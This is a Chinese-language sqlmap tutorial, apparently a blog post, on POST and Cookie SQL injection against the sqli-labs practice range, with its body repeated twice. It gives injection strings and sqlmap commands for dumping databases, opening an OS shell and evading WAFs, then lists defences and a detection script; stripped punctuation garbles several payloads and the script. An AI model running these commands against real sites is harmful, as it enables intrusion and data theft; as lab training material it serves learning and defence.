1. 靶场环境搭建与注入原理在开始实战之前我们需要先理解POST和Cookie注入的核心原理。不同于常见的GET注入这两种注入方式往往隐藏在HTTP请求的暗层——POST请求体和Cookie头部中。我常用sqli-labs靶场的Less-11到Less-20关卡作为实验环境它们完美模拟了登录框和Cookie验证场景。POST注入的本质是攻击者通过修改表单提交的数据将恶意SQL代码插入到后端数据库查询中。比如一个登录查询原本是SELECT * FROM users WHERE usernameadmin AND password123456当用户名参数未过滤时输入admin--就会变成SELECT * FROM users WHERE usernameadmin-- AND password123456Cookie注入则更隐蔽很多开发者会检查GET/POST参数却忽略Cookie。例如一个根据Cookie查询用户信息的语句SELECT userinfo FROM profiles WHERE sessionidabc123攻击者只需修改Cookie值为abc123 AND 1CONVERT(int,(SELECT table_name FROM information_schema.tables))--就能触发注入。2. POST注入的三种实战方法2.1 自动表单检测--forms参数这是最省事的方法适合快速测试。sqlmap会自动解析页面中的所有表单我常用这个命令起手python sqlmap.py -u http://192.168.1.100/Less-11/ --forms --batch--batch参数让工具自动选择默认选项避免频繁交互。实测中发现几个关键点当页面有多个表单时需要用--forms配合--crawl深度扫描对AJAX动态加载的表单建议先手动抓包确认参数名遇到CSRF token时需要添加--csrf-tokentoken_name参数2.2 手动指定POST数据--data参数当自动检测失效时我会直接复制BurpSuite抓取的POST数据python sqlmap.py -u http://192.168.1.100/Less-12/ \ --dataunameadminpasswd123submitSubmit -p uname这里-p指定重点测试的参数避免浪费时间。有个实用技巧在可疑参数后加*号如uname*能提高检测优先级。2.3 请求文件重放-r参数这是最稳定的方法尤其适合复杂请求。操作步骤用BurpSuite拦截请求右键保存为txt文件执行python sqlmap.py -r request.txt --force-ssl我曾在某次渗透测试中遇到特殊情况目标站点使用自签名证书添加--force-ssl和--ignore-code403才成功检测。3. Cookie注入的两种攻击路径3.1 基础Cookie注入--cookie参数首先需要确定注入点我通常这样测试修改Cookie值为触发报错确认漏洞后使用python sqlmap.py -u http://192.168.1.100/Less-20/ \ --cookieunameadmin* --level 3关键点在于--level必须≥2才会检测Cookie建议配合--risk 3提高测试强度。曾有个案例只有设置--tamperbase64encode才能绕过WAF检测。3.2 高级Cookie利用-r参数对于需要登录的场景我推荐这种方式先正常登录保存整个请求为文件使用python sqlmap.py -r auth_request.txt \ --headersX-Forwarded-For: 127.0.0.1 --dbmsMySQL添加X-Forwarded-For等头部可以规避一些基础防护。如果遇到速度限制可以加--delay2降低请求频率。4. 深度利用与防御绕过当确认注入点后我会按这个流程深入利用graph TD A[获取数据库类型] -- B[枚举数据库] B -- C[获取表结构] C -- D[导出敏感数据] D -- E[尝试文件读写] E -- F[尝试OS命令执行]常用命令示例# 获取所有数据库 python sqlmap.py -r request.txt --dbs # 指定数据库获取表 python sqlmap.py -r request.txt -D security --tables # 导出表数据注意避免锁表 python sqlmap.py -r request.txt -D security -T users --dump # 尝试写shell python sqlmap.py -r request.txt --os-shell --tmp-path/var/www/html对抗WAF的实用技巧使用--tamper脚本组合space2comment,randomcase设置--delay3 --timeout15模拟人工操作添加随机头部--random-agent --host127.0.0.15. 防御方案与检测方法作为防守方我建议采用分层防御策略代码层使用参数化查询PreparedStatement对Cookie值进行强类型校验实现统一的输入过滤中间件架构层部署WAF并定期更新规则对数据库操作进行审计限制数据库账号权限检测方法# 简易注入检测脚本示例 import requests def check_injection(url, params): test_payloads [, \, sleep(5)#] for payload in test_payloads: test_params {k: v payload for k, v in params.items()} start_time time.time() requests.post(url, datatest_params) if time.time() - start_time 4: return True return False在实际项目中我发现很多漏洞源于开发人员错误地认为POST比GET安全或Cookie不需要过滤。这种认知偏差需要通过持续的安全培训来纠正。
sqlmap实战：POST与Cookie注入的靶场攻防演练
1. 靶场环境搭建与注入原理在开始实战之前我们需要先理解POST和Cookie注入的核心原理。不同于常见的GET注入这两种注入方式往往隐藏在HTTP请求的暗层——POST请求体和Cookie头部中。我常用sqli-labs靶场的Less-11到Less-20关卡作为实验环境它们完美模拟了登录框和Cookie验证场景。POST注入的本质是攻击者通过修改表单提交的数据将恶意SQL代码插入到后端数据库查询中。比如一个登录查询原本是SELECT * FROM users WHERE usernameadmin AND password123456当用户名参数未过滤时输入admin--就会变成SELECT * FROM users WHERE usernameadmin-- AND password123456Cookie注入则更隐蔽很多开发者会检查GET/POST参数却忽略Cookie。例如一个根据Cookie查询用户信息的语句SELECT userinfo FROM profiles WHERE sessionidabc123攻击者只需修改Cookie值为abc123 AND 1CONVERT(int,(SELECT table_name FROM information_schema.tables))--就能触发注入。2. POST注入的三种实战方法2.1 自动表单检测--forms参数这是最省事的方法适合快速测试。sqlmap会自动解析页面中的所有表单我常用这个命令起手python sqlmap.py -u http://192.168.1.100/Less-11/ --forms --batch--batch参数让工具自动选择默认选项避免频繁交互。实测中发现几个关键点当页面有多个表单时需要用--forms配合--crawl深度扫描对AJAX动态加载的表单建议先手动抓包确认参数名遇到CSRF token时需要添加--csrf-tokentoken_name参数2.2 手动指定POST数据--data参数当自动检测失效时我会直接复制BurpSuite抓取的POST数据python sqlmap.py -u http://192.168.1.100/Less-12/ \ --dataunameadminpasswd123submitSubmit -p uname这里-p指定重点测试的参数避免浪费时间。有个实用技巧在可疑参数后加*号如uname*能提高检测优先级。2.3 请求文件重放-r参数这是最稳定的方法尤其适合复杂请求。操作步骤用BurpSuite拦截请求右键保存为txt文件执行python sqlmap.py -r request.txt --force-ssl我曾在某次渗透测试中遇到特殊情况目标站点使用自签名证书添加--force-ssl和--ignore-code403才成功检测。3. Cookie注入的两种攻击路径3.1 基础Cookie注入--cookie参数首先需要确定注入点我通常这样测试修改Cookie值为触发报错确认漏洞后使用python sqlmap.py -u http://192.168.1.100/Less-20/ \ --cookieunameadmin* --level 3关键点在于--level必须≥2才会检测Cookie建议配合--risk 3提高测试强度。曾有个案例只有设置--tamperbase64encode才能绕过WAF检测。3.2 高级Cookie利用-r参数对于需要登录的场景我推荐这种方式先正常登录保存整个请求为文件使用python sqlmap.py -r auth_request.txt \ --headersX-Forwarded-For: 127.0.0.1 --dbmsMySQL添加X-Forwarded-For等头部可以规避一些基础防护。如果遇到速度限制可以加--delay2降低请求频率。4. 深度利用与防御绕过当确认注入点后我会按这个流程深入利用graph TD A[获取数据库类型] -- B[枚举数据库] B -- C[获取表结构] C -- D[导出敏感数据] D -- E[尝试文件读写] E -- F[尝试OS命令执行]常用命令示例# 获取所有数据库 python sqlmap.py -r request.txt --dbs # 指定数据库获取表 python sqlmap.py -r request.txt -D security --tables # 导出表数据注意避免锁表 python sqlmap.py -r request.txt -D security -T users --dump # 尝试写shell python sqlmap.py -r request.txt --os-shell --tmp-path/var/www/html对抗WAF的实用技巧使用--tamper脚本组合space2comment,randomcase设置--delay3 --timeout15模拟人工操作添加随机头部--random-agent --host127.0.0.15. 防御方案与检测方法作为防守方我建议采用分层防御策略代码层使用参数化查询PreparedStatement对Cookie值进行强类型校验实现统一的输入过滤中间件架构层部署WAF并定期更新规则对数据库操作进行审计限制数据库账号权限检测方法# 简易注入检测脚本示例 import requests def check_injection(url, params): test_payloads [, \, sleep(5)#] for payload in test_payloads: test_params {k: v payload for k, v in params.items()} start_time time.time() requests.post(url, datatest_params) if time.time() - start_time 4: return True return False在实际项目中我发现很多漏洞源于开发人员错误地认为POST比GET安全或Cookie不需要过滤。这种认知偏差需要通过持续的安全培训来纠正。
